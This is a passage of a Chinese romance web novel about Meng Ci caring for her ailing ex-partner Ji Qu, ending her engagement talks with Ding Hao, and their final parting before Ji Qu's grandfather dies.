“多谢,走吧,请你吃饭。”孟慈给树浇了圈水,又调节好室内温度,才叫方萤一起离开。 方萤帮孟慈关上窗户,说:“不吃了,还要回公司。” 孟慈看了眼腕表:“七点了,加班?” “最近特殊时期。”方萤拿好自己的包对上孟慈有些不解的眼。 “你不知道?”方萤有些惊讶,“季家的事。” 孟慈按灭办公室的灯:“知道。” 方萤挽着孟慈的胳膊,说:“那不就得了,公司还有几个项目和季家有关系。” “怎么?季家还能因为这件事倒了不成?”孟慈有些无语。 方萤摇头:“季家当然不会倒,但是有备无患总是好的。” 孟慈对于方萤的风险防范意识有些不认可,但也没多说什么,毕竟公司现在不姓孟了。 看出来孟慈觉得自己有些大惊小怪,方萤无奈道:“你现在不在公司,季总根本不会给我们面子,我们活得战战兢兢很累的好吧。” 孟慈笑笑:“至于吗?” 方萤狠狠点头:“你太小看自己。” 方萤离开后,孟慈接到了丁昊的电话,邀请自己去吃夜宵。 其实这段时间孟慈有意识地减少了自己和丁昊的接触,在外界都认为自己要和丁昊结婚后,孟慈还真的把丁昊放在另一半的位置上考量了很久。 她确实需要步入人生的下一个阶段,就算是为了裴沛。 但是莫名的,孟慈觉得丁昊和这个位置不太匹配,作为要和自己度过下半生的法定伴侣,好像有些偏差。 偏偏丁昊也有往下发展的意思,孟慈自己耽误自己无所谓,总不能拖着人家不放,这一点在某次吃饭时“偶遇”丁昊的父母后更加坚定。 孟慈打算今晚就和丁昊说清楚,至于他想等待或者换乘,都是他的课题。 距离丁昊过来还有一些时间,孟慈找了处街边的长椅坐着等待。 夏季的夜晚,总是热闹喧嚣的。 孟慈看着面前不时走过的人群,听着他们闲话家常,终于从连日来的焦虑中暂时逃出一会儿。 马路对面不知道什么时候停了一辆车,打着双闪,在狭窄的马路上有些碍事,后方的车开始按喇叭,不一会儿便引来交警。 交警敲了敲驾驶座的车窗,玻璃在几秒后下摇,露出季曲的脸。 即使隔着马路,孟慈也能看到季曲的脸色苍白,不知道交警和他说了些什么,季曲又把车窗摇上。 交警拿着对讲机说了些什么,然后便一直站在季曲车子的旁边。 过了一会儿,跑过来一位交警,手里拿着塑料袋,又敲开车窗递给季曲。 孟慈在袋身上看到药房的广告。 季曲又心脏不舒服了。 夏夜的风柔柔的,却带了些燥,像是绒毛吸进肺里,让孟慈坐不住,沉不下。 “需要帮忙吗?”孟慈回神时,身体已经不听使唤地走到季曲车前。 她更清楚地看到季曲正靠在座椅上闭着眼缓劲,眼下的乌青十分明显。 交警看到她,问:“你们认识?” 孟慈点头:“嗯,我们是朋友。” 交警继续说:“你朋友心脏不太舒服,我们给他拿了些急救的药,最好送去医院看看。” 孟慈点头:“麻烦您了。” 季曲可能是缓过劲儿来,终于睁开眼,满眼的红血丝让他更显病态。 孟慈降低身子,与季曲对视,“我送你去医院?或者回家?” 季曲这段时间几乎住在医院,刚刚从季亮鸿那边出来时就有些不舒服,等到呼吸困难时才发现手边没有救急的药,只能暂时停在路边缓缓,刚好交警帮忙,含了药之后不适感已经去了五六分。 再睁眼时,没成想看到孟慈。 交警看两人真的认识,便催促道:“那你们赶紧走吧,车子停在这儿也影响交通。” 季曲被孟慈赶到副驾驶,看着孟慈调整了一番座椅,直到整个后背几乎直立后才启动车子。 “你开得了吗?”季曲看着 认真到失去表情的孟慈不由问了一句。 孟慈目不斜视地看着前方:“你放心,我慢慢开。” 期间丁昊打来电话,孟慈甚至无法分心去接,只能拜托季曲打开免提。 丁昊声线温润:“我到了,你在哪?” 孟慈这边精神高度紧张,说话也绷着,“我临时有点事,刚刚给你发了信息,可能你开车没看到。” 那边安静几秒,应该是丁昊在查看手机。 “刚刚不知道为什么前面很堵。”丁昊把手机放回耳边,“什么事,需要我帮忙吗?” “不用,不好意思啊害你白跑一趟,我下次请你吃饭。” 丁昊笑笑:“没事的,只是最近忙,好久没见你,我爸妈走之前还说下次再来北城要请你吃饭。” 上次在饭店“偶遇”后,孟慈给丁昊的父母那边送了些伴手礼品。 孟慈有些分不出神:“叔叔阿姨太客气了,我在开车,不和你说了。” 丁昊也没多说:“那你小心驾驶,我之后再联系你。” 通话挂断,刚好遇到红灯,孟慈松了口气,本想把自己的手机拿回来,却刚好对上季曲冰冷的眼。 “耽误你吃饭了,不好意思。” “没事。” 季曲看起来也并不是真的抱歉,因为他说完后便靠回椅背,孟慈观察着他的呼吸,看起来比刚刚好了不少。 车子停到季曲家楼下,孟慈问季曲他自己能不能上去,季曲点头,又掏出手机准备叫司机过来送孟慈回去。 孟慈已经解开安全带,说自己叫个车就可以,季曲也没力气阻拦,只是让孟慈到家之后说一声。 孟慈点头:“那我先走了。” 孟慈离开后,季曲又在车子里休息了一会儿,四肢逐渐恢复力气才下车,但是还没走一步,眼前又有些闪白,季曲只能伸出手扶着车顶继续缓。 心跳声咚咚,仿佛要冲破身体冲出来,音量大到让季曲一时间失去了听觉。 一直忍到这一波难受劲儿过去,季曲才慢慢睁开眼,地面上出现一双黑色高跟鞋,抬头往上看,看到原本已经离开的人去而复返,此刻正站在自己面前,脸色也不太好。 孟慈的眉头皱得很深,声音却很轻,“去医院吗?” 季曲看了孟慈一会儿,然后才开口:“家里有药。” “你刚刚不是已经吃过药了?” “家里的是特地配的。” 看出季曲的坚持,孟慈也没再劝,只是陪着季曲站着,任由头顶的灯光把两人的影子拉长。 “你回去吧。”季曲可能是休息好了,说完这句便绕开孟慈走向电梯。 人家都要结婚了,父母也见过了,自己没必要再来掺和。 擦身而过的时候,季曲在孟慈身上闻到淡淡的草药味。 他上次问过大夫,孟慈又开始脱发,和两人刚刚认识的时候一样。 不知道又碰到什么难题,不知道这次丁昊能不能把人照顾好。 这么想着,季曲咬着自己的舌尖,以此保证自己的脚步没那么虚浮,离开的背影能一如既往的稳妥。 眼看着就要到电梯口,左脚却不听话地踩空一下,膝盖重重的砸在地上,发出一身闷响。 还没等疼劲缓过去,季曲就发现自己的胳膊被人扶住了。 孟慈的发丝飘起几根刮过季曲的脸颊,甜腻的桂花夹杂着苦涩的草药,他这次闻得更清楚。 孟慈抓住季曲的胳膊没再松开:“我只是帮朋友而已,你用不着客气。” 比起不久前的造访,孟慈发现季曲的房子更冷清了点,把季曲扶到沙发上坐着,又按照季曲的话找到药拿给季曲。 他倒了两颗出来直接吞服,连水都没用。 药丸不算小,但是季曲咽下去之后神色都没什么变化,而是向后靠在沙发里闭上了眼。 孟慈看了眼季曲,起身去厨房找水。 诺大的厨房里只有冰箱还在运行,孟慈拿了瓶水出来试了试温度,冷得人起鸡皮疙瘩。 这样不行,按照之前的记忆在橱柜里找到了热水壶。 孟慈打开两瓶水倒进去加热,一番折腾下来,季曲已经睡着了,也有可能没有睡着,因为季曲的睫毛始终在颤,可能是还在难受。 多要强的人才会和自己的身体做对抗。 孟慈把水杯放在茶几上,不小心发出一声响,她连忙抬头去看,还好季曲没什么反应。 从网上查了些心脏病的急救方法,大多药不对症。 倒是有一条,说要让病患保持呼吸通畅,孟慈看着季曲窝在沙发里,衬衣领紧紧锢在脖子上,喉结也被束缚。 想了想,孟慈选择上手解开两颗衣扣。 季曲的呼吸不算均匀,一下深一下浅,孟慈的指腹不小心划过季曲脖间的皮肤,倒是把人弄醒了。 季曲的眼皮还是十分沉重,只睁开一半,他虚虚地看着离自己很近的孟慈,迟缓地眨了眨眼,然后很轻地说了一句,“怎么又要回来?” 孟慈被问地一怔,简简单单几个字,她当然知道更深层的含义。 明明已经什么都不要地狠心离开,没问季曲的意见,没给季曲机会,头也不回地离开,怎么还又兜了一大圈回来了呢? 季曲拿起捂在心脏上的右手,轻轻抚上孟慈的侧脸,他没力气,有些抖。 “慈慈,你都要结婚了,怎么还来招惹我?”季曲的眼皮合了一下又打开。 孟慈眼看着季曲把手收回去,又捂上自己的心脏处,弄皱了那一片布料。 她起身时,久蹲的小腿有些麻,撑着茶几,孟慈才站稳。 把药放在季曲手边,确保他需要的时候能拿到,药粒碰撞的声音打破了安静。 孟慈还没来得及抽手,就被季曲握住,连同药瓶一起。 “你现在又在做给谁看呢?”季曲闭着眼,“丁昊知道了不会难过吗?毕竟父母都见过了。” 不知道要抓住哪个线头才能才绕成一团的毛线球解开,孟慈沉默了一小会儿。 沉默让季曲产生误解,他以为孟慈对他心软。 因为他的病痛也好,因为他的家人也好。 持续不断的疼痛带来眩晕,季曲试探着问:“所以你要回我身边吗?慈慈……” 孟慈的嘴张了张,吐出冰冷的文字:“不好意思啊,让你误会了,我只是想帮忙而己,撇开感情不说,是个人应该都会帮忙。” 大门落了锁,季曲缓缓睁开眼,看着空荡荡的房间,露出一丝苦笑。 孟慈不会缺人爱的,她离开自己未尝不是好事,毕竟有了足够的金银傍身,也见过不少世面,她总归不会过得多差,要是真的遇人不淑,自己再悄悄帮衬一把不就好了,又不是护不住。 至于她要结婚这个事,季曲也不是没有预料,但是结婚对象却让季曲有些顶不住,但凡换成别人,随便的一个陌生人,季曲都不至于这么难受。 偏偏是丁昊,偏偏是孟慈的初恋对象,偏偏孟慈是真的爱过他。 孟慈会不会真的再次爱上他?对他笑,在他酒醉时接他回家? 季曲的目光落在茶几上的那杯水,热气已经消散的差不多了,杯壁上的雾气也变得透明。 “啪”的一声,季曲手心的瓷瓶瓶身多了道裂缝。 第54章 第54章一个似有若无的拥抱…… 孟慈第二天起来约了丁昊午餐,一方面是为昨晚的爽约道歉,另一方面则是和丁昊说清楚她的态度。 午饭约在丁昊公司楼下的西餐厅。 孟慈握着凉爽的果汁等待,却不想丁昊还带着其他客人。 赵一辰落座的时候丝毫不客气,拿起菜单点了不少菜品,说自己刚好和丁昊谈合同,来蹭口饭吃。 丁昊一脸抱歉,孟慈说没事,反正也不是外人。 赵一辰饭前去了洗手间,餐桌上只剩下孟慈和丁昊两人。 丁昊这才解释:“我一说是你在楼下,他非要一起,说是一顿工作餐罢了,我也没好推辞。” 孟慈给丁昊倒了杯柠檬水:“没事,多一个人热闹。” 丁昊道 谢接过水杯,喝了一口才问:“昨天的事处理好了吗?要不要我帮忙?” 话说到这儿,孟慈才又回忆起自己的来意。 看着对面一脸关切的丁昊,孟慈决定快刀斩乱麻。 她拢了拢耳边的碎发,轻轻开口:“丁昊,我最近发现,我好像…没那么想结婚了。” 简简单单的答案,把丁昊打得有些懵,他以为是自己的父母给了孟慈压力。 丁昊越过餐桌握住孟慈的手,还没等开口就被孟慈挣脱。 “是不是最近哪里不舒服?还是我做的哪里不好?孟慈我…” “不是的。”孟慈把手收回身前,抱歉道:“是我的问题,我答应我妈答应的太仓促,其实我根本没做好准备,和你没什么关系。” 看到丁昊不解的神色,孟慈又补充道:“你很好,丁昊,你一直都很好,是我的问题,而且…我确实对你的感情有了变化,和大学时期相比,变了不少。” 丁昊皱眉思考,到底是哪一步走错了,自己刚和父母说完马上就要把人拿下,怎么突然出了问题。 孟慈不管丁昊的纠结,笑笑说:“你愿意的话我们之后继续做朋友,不愿意的话就算了,反正这里这么大,也很难再碰到。” 没察觉到餐桌上的沉重,服务生推着餐车开始上菜,色香味俱全的法餐摆了一桌。 孟慈贴心地把鹅肝放到丁昊面前,又挑了些芦笋拨到丁昊的餐盘里。 丁昊看着面前的恬静贴心的孟慈,不想放手,“孟慈我” “孟慈赶紧跟我走!” 赵一辰突然从洗手间冲出来,拉着孟慈的手腕就要离开。 孟慈被突如其来的力道拉着站起身,赵一辰一把抄起孟慈的包带着人离开,留下蒙在鼓里的丁昊和满满一桌菜。 季曲晕倒了,在季老爷子床前。 孟慈到病房后看到的是躺在病床上的季曲,他正抱着电脑处理工作,要不是他身上的病号服和惨白的脸色,孟慈还以为赵一辰在骗人。 赵一辰着急地冲到季曲床前,上下左右地看,问季曲伤到哪里了。 季曲的眼神从两个人进来的时候就停在孟慈身上,一点都没分给赵一辰。 “你把人家叫过来干嘛”季曲拧眉看向赵一辰,口气不太好,像是怪他拉了不相关的人过来一样。 赵一辰哪还顾得上这些,他早就拉着孙谦问季曲的身体情况。 孙谦报了一大堆医学名词,七七八八地总结下来就是疲劳过度,心脏压力太大,需要静养。 病房不算宽敞,孟慈站在离病床三两步的地方,觉得自己应该离开了。 “你们去找大夫问问我还要吊几瓶水。”季曲一边打字一边说。 赵一辰刚想说这不是按个铃的事,手还没伸出去就被孙谦拉着出了门。 孙谦自诩对季曲有几分了解:“午餐一会儿会有人送来,去找完医生后我会带着赵总去外面吃。” 季曲面不改色地点了点头,看孙谦的眼神里多了几分欣赏。 孙谦对自己的表现很满意。 分秒间,病房里只剩下两个人,还有心电图的滴滴声。 “我” “你…” 两人同时开口,有了一次长对视。 孟慈眨眨眼,先挪开视线,说:“赵一辰估计是接到电话有些慌,所以把我也带上了。” 季曲合上电脑:“嗯,你们怎么在一起?” 犹豫了一下,孟慈说:“我和丁昊吃饭,他们正好在一起。” 原本还有些歉意的季曲在听到丁昊名字的同时又想起来面前得孟慈是要结婚的人,他不该再起什么歹心。 不知道为什么,心脏又开始抽抽着疼,季曲下意识地伸手捂住,额间又渗出冷汗。 孟慈看到这一幕,上前几步,问季曲要不要叫医生。 绞痛来的突然又猛烈,季曲一时间无法开口,他怕张嘴的同时只能发出因疼痛而产生的闷哼。 得不到回应,反而看到季曲越来越低的头颅,孟慈伸手就要按铃,手指刚刚触到床头的铃时,突然被季曲捉住。 季曲还保持着低头的姿势,左手的输液管因为他发力的动作有些血液回流。 孟慈低头,鼻尖擦过季曲头顶的发丝,硬得刮人。 季曲忍过劲开口:“麻烦帮我把床放平,我躺一会儿就好。” 手腕还被季曲握着,孟慈回神挣开,说了好。 季曲躺平后就闭眼休息,午间的阳光打进来,温暖和煦,他眼下的黑青又重了些。 看着病床上的人这么难受,孟慈也没敢走,只是给孙谦发了消息,然后便坐在病床旁边的凳子上等待。 等了一会儿,孙谦没来,季荣宝倒是小声地开门进来,看到季曲床边的人是孟慈后,有些惊讶。 孟慈起身把凳子让出来,和季荣宝点头问好。 季荣宝把孟慈按回凳子,自己坐到季曲的床边,摸了摸季曲放在被子外的双手,又摸了摸季曲有些瘦的过度的脸。 心疼得要溢出来。 “他已经熬了很久了,早就该好好睡一觉,但是我们劝不动他。”季荣宝声音低低的,只有孟慈能听到。 孟慈没回答,她也不知道该说些什么。 季荣宝握着季曲的左手,试图把冰凉的液体捂热,“他妈想来看他,他也不让,也就我能过来看看。” “不让?”孟慈捕捉到季荣宝想让她捕捉的字眼。 “他和他妈闹崩了。”季荣宝回头看着孟慈,“你离开那年。” “是因为我” “和你没关系。”知道孟慈会问什么,季荣宝打断孟慈,“你只是其中一个原因,或者说一大半,他不像季澈的性子,能接受家里的安排,循规蹈矩的生活。” 季荣宝说着说着突然分出一只手拍了拍孟慈:“对了,替我们家给你道个歉,我嫂子有些强势,说话可能不太好听,对你造成了伤害。” 思绪被牵引会那场午后的谈话,孟慈眨眨眼,“没事的,她说的都是实话。” “谁想听她说实话。”季荣宝撇了撇嘴,“我嫂嫂有些一板一眼,活得也规矩,所以总想让季曲也按着模子活。” 孟慈笑笑:“都是为了季曲好。” 季荣宝顿了顿,才继续说:“不过最近几年季曲和她闹翻之后,她也在慢慢改了不少,上次给季曲挑相亲对象,她竟然说让季曲自己选。” 季荣宝又絮絮叨叨地说了不少季曲这些年的难处,孟慈就默默地听着,直到有人送了饭来,季荣宝才说自己还要去看老爷子,这边就让孟慈先帮忙照看。 季曲还没醒,孟慈让人把饭先放在一旁,又让护士换了马上见底的输液瓶。 坐回原处后,才发现季曲手上的输液管有些折得厉害,便上手调整,期间碰到季曲的手背,是有些凉,怪不得季荣宝一直握着。 正在想要不要灌个暖水袋给季曲垫着,季曲的手突然动了下,刚把孟慈的手握住。 和有些潮湿的手心相贴,孟慈先是一怔,抬眼看还在沉睡的人,观察了一会儿,孟慈把这归结为无意识寻找热源的动作。 想了想,孟慈用另一只手覆在季曲的手背上,轻轻地贴着,隔着薄薄的皮肤,试图让失衡的温度回到正常。 太阳从东到西,季曲在阳光消失在房间的那一刻醒来,房间里没开灯,一切都灰得发暗。 视线从天花板缓缓往回收,左手被孟慈的双手握着,她此刻正趴在病床的一个边角,压着自己的胳膊。 季曲在昏暗的光线里静静地看了一会儿,一直到房间彻底黑下来,直到看不清孟慈的脸,才动了动左手。 孟慈被弄醒,她感受到季曲的左手在动。 头顶的灯被点亮,孟慈不知道自己什么时候睡着的,去洗漱间简单整理了下,再出来时季曲已经换上了一身便服。 孟慈走到季曲跟前,问:“你要出去?” 季曲点点头。 “那要不然你先吃点东西?”孟慈想到 季曲还未进食,指了指茶几上的保温饭盒。 季曲看着脸上红印未消的孟慈,心口不一地问了句:“你有空吗?” “我吗?”孟慈指指自己。 “嗯,帮我开个车。”季曲伸手拨正孟慈睡歪的衣领。 孟慈看着季曲,想了几秒,说:“好。” 怕季曲空着肚子难受,孟慈还是在开往目的地之前去便利店买了些速食,季曲坐在副驾驶上挑了半天,最终选了块巧克力塞到嘴里。 季曲先让孟慈开车回了趟家,让孟慈坐在沙发上稍等一会儿,不过二十分钟的时间,季曲便擦着头发从卧室走出来。 “走吧。”季曲把毛巾随手扔到脏衣娄,就要离开。 孟慈说:“头发还没干。” 季曲不在意道:“没事,夏天天气好,风一吹就干了。” 季曲已经站在玄关处,看着孟慈等她起身。 孟慈如季曲的愿,从沙发上站起来,只不过转身走到了卧室,按照季曲的习惯,找到吹风机,返回客厅找到插销插好,指了指面前的位置,让季曲过来。 季曲看着孟慈这一通忙碌,只是笑笑:“真不用,来不及了。” “来得及。”孟慈坚持己见,“你不就是要去庙里,我知道路的,不会迟。” 毕竟已经季亮鸿走到药石无用的情况,剩下只有求神拜佛。 孟慈原本不知道季曲的目的地,但是他这么着急回家洗澡,又换了身正式的衣服,身上还有淡淡的线香味道,孟慈自然就懂了。 见季曲还固执地站在原地,孟慈想到医嘱的严重程度再次开口:“你最好过来,十分钟就能吹干,不然我就叫你姑姑来抓你,医院明明不让你离开的。” 回顾以往,吹头发的工作都是季曲的,没想到分手后反倒有了变化。 季曲坐在沙发上面朝落地窗,看外面的霓虹灯,璀璨光斑穿过玻璃落在他的脸上,孟慈的手指在自己的发间穿梭,温柔轻软。 吹风机发出的噪音萦绕在两人身边,因此两人都用不着说话。 听着嗡嗡的风扇声,季曲慢慢阖上了眼。 都用不着十分钟,孟慈感受到潮湿的发恢复干爽,按了开关,盯着季曲的后脑勺说可以了。 季曲没动,依旧挺直背脊坐着。 孟慈稍微放大音量,用手推推季曲的肩膀,“季曲,可以走了。” “不走就好了。”季曲的声音很轻。 轻到孟慈只听到一个尾巴,她追问:“什么?” 季曲没再说话,而是把孟慈的手拉到自己的面前,绕着自己,略微一歪头,把自己塞到孟慈细细的臂弯里。 孟慈看着对面的落地窗,影影绰绰地映着两人。 好像一个拥抱。 一位病人,一位悲伤的人,想要一个似有若无的拥抱而已。 第55章 第55章不要再见面了吧 天蒙蒙亮时,孟慈开车带着季曲抵达山脚。 比起春节时来的那一次,满山白霜已经被绿影替代,浓处似乎要绿到腐烂。 季曲让孟慈先上去等着,住持等人已经在寺庙入口。 孟慈说用不着,她拿着水和急救药品,跟在季曲身后。 见状,季曲也没拦着,只说晨间山路湿滑,让孟慈小心脚下。 把身上的手机钱包等物通通交给孟慈保管,季曲便从第一阶石阶开始,三跪九叩地往上爬。 小师傅们每日都会打扫山路,因此石阶上只铺满一层薄薄露水,季曲爬了不到一半,膝盖处的裤子已经全湿了,手心里也满是脏污。 孟慈在季曲身后三五米处跟着,一言不发。 爬到一半,天空也变得更透白。 季曲出了汗,顺着耳后落尽衣领,他丝毫不在意,依旧跪叩着往上爬,只不过起身的动作逐渐变慢。 孟慈几番想开口喊人歇息一下,但是话到嘴边又立马收回,不是她该参与的事情。 行至末尾,一抬头就能撇到寺庙入口,季曲的呼吸声十分明显,像是跑了马拉松,气喘吁吁。 一直到磕完最后一阶,季曲起身时一个晃神,又硬生生地跪在地上,孟慈连忙追了几步,扶住季曲的胳膊,却没站稳一起被带倒蹲坐在地上。 早就等候着的师傅们见状也纷纷赶过来把两个人扶起来。 孟慈这才看清季曲的脸色,额头上的污渍根本掩不住下面的红肿,嘴唇也苍白得毫无血色。 就算这样,季曲也在第一时间问孟慈有没有磕到哪里。 孟慈摇摇头,问:“要不要含些药丸。” 季曲点头说好,一伸手,手上全是泥土湿漉,孟慈看了一眼,把药丸倒在自己的手心,数清个数,用指头捻着放到季曲嘴边。 季曲在孟慈的脸上看看,说了谢谢,然后张嘴把药含在舌下。 小师傅带着季曲去简单清洗了污渍,然后便带着人去大厅诵经。 孟慈和季曲说自己去别处待一会儿着等他,季曲点点头,安顿小师傅带着孟慈去之前的院子。 孟慈看着季曲消失在厚重的木门之后,在金碧辉煌的佛身前坚定地跪下,而后才离开。 依旧是之前的院落,孟慈坐在石凳上,抬头看着满树红绸,似乎比之前那次更多了些。 孟慈的目光在其间翻寻,密密麻麻的,穿不到顶端,自然找不到自己的那支。 包里的手机震了一下,孟慈低头翻找,是季曲的手机,来电人是孙谦。 这么早,怕不是有什么大事,孟慈想了想,按了接听键。 显然,孙谦对接电话的人是孟慈没什么意外,只留下一句让季曲尽快回电便挂了电话。 又过了大约一个小时,季曲才从大殿出来,坐在孟慈旁边的石凳上,膝盖处的布料还是比周围的要更深一些。 “孙谦给你打了电话,让你尽快回电。”孟慈看着季曲又取了些药丸含着,面色倒是比刚刚好看不少。 季曲点点头,用热茶润了润嗓子,才拿起手机回电。 期间一直是孙谦在说话,季曲只说了好,就挂了电话。 孟慈看了眼没标注任何信息的药瓶,不知道季曲吃的这么频繁是否可以。 还没等孟慈说话,季曲便先开口,“一会儿让司机送你回去吧,陪我跑了这么久,再开车我也不放心。” 孟慈握着自己的茶杯,视线落在浅色的茶水上,说了好。 季曲看着孟慈,眼神变得软如春水。 因为自己的仓促行程,孟慈的眼下也多了些乌青。 把刚刚求的平安符拿出来,递在孟慈手边,孟慈这才抬眼看向季曲,看着他更加锋利的下颌线。 “平安符,带着吧。”季曲手心朝上,向孟慈伸了伸。 上次来这儿,季曲也给了自己一串珠子,只不过最后的下场是分崩离析。 孟慈抿唇笑笑:“不用了。” “我特地给你求的,不会有别人再和你要走了。”季曲的手碰到孟慈,“拿着吧,毕竟我不想再来这么一次。” 孟慈看到季曲额头正中间的红肿,有的地方还渗了些细密的血丝。 她喉咙里有些闷:“我怎么能和你爷爷比。” 即使身体已经处在极度的疲惫状态,但是季曲还是因为孟慈的话心痛了一下。 收回在空中滞留的手,季曲抽走孟慈握着的茶杯,略带强势地把平安符塞进去,又用自己的两只手握着孟慈的双手,死死地把平安符按在孟慈手心。 孟慈先是一愣,而后就发现自己的手被握地死紧,动都动不了。 季曲不再微笑,终于换上和他面色一样的破败神情,“你对我来说也很重要。” 可能是怕孟慈不信,季曲又补充一遍:“真的,你对我来说很重要,可能你不知道。” “最近几次,我不该由着他们把你带到我面前的,对不起啊,可能破坏你安稳的生活了。”季曲看着两人交握的手,如释重负地说着。 “你现在的公司很好,你们的老板我也认识,以后如果有需要的话尽管开口,联系孙谦也可以,工作以外的事也可以。” “不过丁总年轻,潜力无限,大概是不需要你来出头,他应该都能为你解决。” 上次分手时没安顿的话,现在倒是如豆子洒落一样颗颗粒粒地倾泻出来。 “他的公司……很有发展潜力,李港在那边,我已经和他提过,背靠大树好乘凉,以后你的日子只会越过越好,这点你可以放心。” “我替我妈和你道个歉,对不起慈慈。” 说这句的时候,季曲抬眼看着孟慈,即使他没得到孟慈回看。 季曲看着孟慈微微颤抖的睫毛,继续说:“她太心急,我也没保护好你,把你又扔在她面前,第二次。” 一道晨风吹过,吹得孟慈眼眶发酸。 季曲伸手触碰孟慈的脸,用拇指揩掉顺着眼尾滑落的泪水。 “她是我妈,生我养我,我没法怪她,只能替她道歉。” “你是我爱的人,我却没护住你,还和你发脾气,是我对不起你。” 季曲的手心很烫,孟慈甚至感觉到自己的侧脸仿佛在被火烧。 其实季曲还有没说完的,他想告诉孟慈,婚姻并不是什么美好如梦寐的东西,反而易碎如琉璃。 相濡以沫的季荣涛和华婉也曾因为第三者而闹得不可开交,青梅竹马的季澈和薄盈姗因为长久的分居两地也曾冷战数年。 …… 但是,这一切,和自己有什么关系呢,这是孟慈的人生课题。 季曲心疼地,不舍地,抚摸着孟慈的脸,回想起第一次见面,孟慈那么美丽,甚至经过这么久,她依旧美丽。 用指腹触过孟慈的眉,滑过孟慈的眼,沿着高挺的鼻梁,落在殷红的唇上。 季曲没忍住,往前靠了靠。 头顶的红绸迎风招展,遮住阳光,给两人留下晨曦中的阴影。 孟慈在季曲近在咫尺时,慢慢地动了动嘴。 “季曲,对我来说,谈爱不爱的,谈怪不怪的,好像已经没什么意义了。” “我不会再因为爱一个人就不顾一切和他在一起,也不会因为受到了伤害就对于同样的问题避之不及。” “这是我想给你的回答,我为什么离开。”孟慈看着季曲的喉结不停滑动,他似乎十分紧张,“至于结婚……” “就像我之前说的,我是真的打算结婚,也真的把丁昊当作结婚对象来考虑,当然,这并不代表我会把你也放在那个位置上考虑,因为你大概是这个世界上最不合适当我丈夫的人。” 孟慈的话如同晨间露曦般冰凉,直直地滴在季曲的心间,如寒雪刺骨。 “但是我承认,我没法看到你生病难受而置身事外,但那是我自己要处理的问题,比如该怎么让自己不再看你,该怎么让自己的生活和你做分离,该怎么彻底把你放下。”孟慈很轻很轻地叹了一口气。 “所以季曲,我们最好……还是不要再见了吧,今天就当作是我最后一次出于朋友的立场,帮助你。” 太阳的光落在两人之间,又被阻挡,像是最深最陡的天堑,横亘在两人面前。 季曲缓缓地坐正身子,看着孟慈,看着她瞳孔里的释然与脸色难看的自己。 满殿神佛前,满树红绸下,是不能说假话的。 太好了,孟慈终于不再对他慈悲。 真的太好了- 自从那天后,不过一周,孟慈便收到了季亮鸿快要离世的消息。 赵一辰和安娜几乎眼也不闭地在医院守着,李港也每天都要过去探望,只有季曲,他好像那早从山上下来后便出差了。 除此之外再无其他动静。 公司给孟慈派了个案子,不算难,练手用。 一日拜访完客户后,离晚饭还早,孟慈便就近找了家咖啡厅坐着整理刚刚客户提的新要求。 还没等咖啡上桌,孟慈的朋友圈就被清一色的求助信息刷屏,大抵意思都是问有没有人在展览馆附近。 孟慈看了眼街对面的建筑,好巧。 给安娜发去信息,还没等两秒就收到回电。 但是对面的人不是安娜,是季荣涛。 孟慈在季曲的手机里听到过几次季荣涛的声音,自然知道对面是谁,季荣涛更知道孟慈这个人。 季荣涛声线沉稳:“孟慈,你在展览馆附近吗?” 孟慈说:“嗯,就在我对面。” “太好了。”季荣涛似乎松了一口气,“能不能麻烦你去取一些东西送到医院来,我们现在都在医院抽不开身,我一会儿给你一个电话,你开车了吗?” “开了。”孟慈已经开始整理桌面上的东西。 “那就好,你把车牌号发过来,我找人给你开权限,麻烦你闯几个红灯……” 带着手提包赶到医院时,安娜和赵一辰在停车场等着,安娜拉着孟慈往楼里冲,让赵一辰去停车。 电梯运行的速度不会因为人的心情而变快。 安娜急得在一旁跺脚,反倒是衬得孟慈极度稳重。 电梯门打开,安娜拉着孟慈往病房跑。 季亮鸿的病房里密密麻麻的全是人,只不过分为里间和外间。 安娜带着孟慈穿过外间,停在里间的门口,敲敲门,是华婉开的。 她看了孟慈一眼,把孟慈手里的包接了进去。 事情到这儿,安娜才安心地出了口气。 孟慈一路赶着过来,闯了几个红灯,后知后觉地有些抖。 安娜拉着孟慈坐到一边的沙发上,刚坐下就有人送了一杯水,孟慈抬头道谢,是季芷。 季芷把温水递给两人:“喝口水缓缓。” 安娜接过喝了几口,才小声给孟慈解释:“老爷子想看看他之前捐出去的奖章,展览馆刚好闭馆,没人能送,只能咱们去取,偏偏我们还都走不开。” 季芷坐在孟慈旁边,给她递了张纸巾,“擦擦汗吧,麻烦你了。” 孟慈喘匀气息,道谢接过,说了声没事,然后才有空余打量在场众人,大多穿着深色衣服,面色沉重。 赵一辰停好车上来,刚想和孟慈寒暄几句,就听到里间突然传出一丝尖锐的哭声。 缠绵病榻大半年。 季亮鸿咽下了最后一口气。 于是,哭声断断续续地溢了满室。 孟慈自觉自己不该在场,和安娜打了个招呼便轻手轻脚地出了病房。 在离开的路上,碰到了匆匆赶来的孙谦。 孙谦有些意外:“孟总?您怎么在这儿?” 孟慈回答:“下午在展览馆附近办事,顺路送了下东西。” 孙谦刚从机场过来,根本不知道发生了什么,但是听到展览馆几个字,便猜出来应该是老爷子想自己年轻时的那些事了。 “麻烦您跑这一趟了。”孙谦冲孟慈点点头。 孟慈说不是什么大事,然后指了指孙谦脖间的暗红色领带,“这个……” 顺着孟慈手指的方向低头看,孙谦连忙取了领带,“对对对,我刚下飞机,没注意到这些,谢谢。” 孟慈:“那你快过去吧,一大家子人呢。” 孙谦连忙说好,还没走两步,就听到孟慈又喊住自己。 “您还有什么事?”孙谦回头看到孟慈站在原地。 孟慈从包里拿出季曲上次拉下的药瓶:“上次他落在我这儿了,你带上吧。” 孙谦看了眼,摆摆手,“不用了孟总,季总还在出差,而且他身上备着药呢。” “还在出差?” “那边离不开人。”孙谦的手 机响了,他掏出来看一眼,按着原方向离开,“咱们之后联系。” 孟慈拿着药瓶停在原地。 季曲没回来?什么工作重要到让季曲不回来送季亮鸿最后一程?刚刚安娜还说季澈也特地请了一周的假。 “不好意思麻烦让让!” “快快快就在前面!” “这可是独家!” 安全出口不知道什么时候冲上来一堆人,跑着挤着往孙谦离开的方向冲,其中一个撞到孟慈,把孟慈手里的药瓶撞掉在地。 不过谁还顾得上这些。 李港带着赵一辰等人出来拦人,后到的安保人员也一窝蜂地冲上去,一时间不算宽敞的走廊被挤得水泄不通。 “季亮鸿去世了吗?是病逝还是其他原因?” “季亮鸿死后集团的股份怎么分配?” “季曲怎么没回来?听说公司前两年的建设项目偷梁换柱,砸死不少人,他是去处理这件事吗?” “有人举报集团的飞地项目是走了关系私下投标的,是季澈暗地走漏消息了吗?” 